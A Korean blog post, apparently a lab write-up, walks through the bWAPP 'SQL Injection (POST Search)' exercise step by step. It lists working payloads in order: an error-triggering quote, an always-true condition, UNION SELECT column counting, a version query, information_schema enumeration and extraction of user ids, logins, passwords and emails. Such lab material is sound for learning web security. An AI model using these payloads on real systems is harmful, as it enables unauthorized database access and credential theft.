bWAPP 14. SQL Injection (POST Search)

Web hacking|2022. 2. 6. 21:14

             

                                           SQL Injection (POST Search)

 

SQL Injection은 사용자가 입력한 값을 서버에서 검증하지 않고 데이터베이스 쿼리 일부분으로 인식하여

데이터베이스의 정보가 노출되거나 인증이 우회되는 취약점 입니다.

SQL Injection은 사용자가 데이터를 입력할 수 있는 곳 어디에서든 발생할 수 있습니다.

악의적인 SQL 문을 삽입하여 비정상적으로 데이터베이스를 조작하는 공격 방법

 

 

Post 방식을 사용하기 때문에, Burp Suite를 사용하여 진행한다.

titleaction 변수가 존재하는 것을 확인.

 

 

 

 

 

[ 공격 가능 확인 ]

입력 값 : '

'입력시에 문법 오류가 발생하는 것을 확인했다.

 

title에서 문법에러가 나오는지 action에서 문법오류가나오는지 확인한 결과

title에서 문법에러가 나오는 것을 확인했다.

 

 

 

 

 

 

[ 모두 참인 구문 입력 ]

결과 값 : ' or 1=1#

참으로만드는 SQL 구문을 입력 시, 리스트가 출력된다.

 

 

 

 

 

 

 

 

 

 

[ 컬럼 수 확인 ]

 

결과 값 : ' UNION SELECT ALL 1#

            ' UNION SELECT ALL 1, 2#

            ' UNION SELECT ALL 1, 2, 3#

            ' UNION SELECT ALL 1, 2, 3, 4#

            ' UNION SELECT ALL 1, 2, 3, 4, 5#

            ' UNION SELECT ALL 1, 2, 3, 4, 5, 6#

 

모두 에러가 낫다.

 

결과 값 : ' UNION SELECT ALL 1, 2, 3, 4, 5, 6, 7#

 

7번째에는 성공하여서, 칼럼이 7개인것을 확인.

 

 

 

 

 

[ 데이터 베이스 버전 확인]

 

 

입력 값 : ' UNION SELECT ALL 1, @@version,3,4,5,6,7#

5.0.96-0ubuntu3 버전을 사용하고있는 것을 확인하였다.

 

 

 

 

 

[ 테이블 명 확인 ]

 

입력 값 :  ' UNION SELECT ALL 1, table_name,3,4,5,6,7 from information_schema.tables#

테이블에서 사용하고 있는 테이블 명을 확인하였다.

 

 

 

 

 

 

[ users 테이블의 컬럼 명 확인 ]

 

입력 값 : ' UNION SELECT ALL 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='users'#

 

 

 

 

 

 

 

 

 

 

 

 

[ users 테이블의 일부 컬럼 중 내용 보기 ]

 

 

입력 값 : ' UNION SELECT ALL 1, id, login, password, email,6,7 from users#

 

저장된 비밀번호, id 정보, 이메일 정보가 나오고있다.

 

단계를 통하여,sql injcetion으로 계정정보를 추출했다.

                                        

댓글()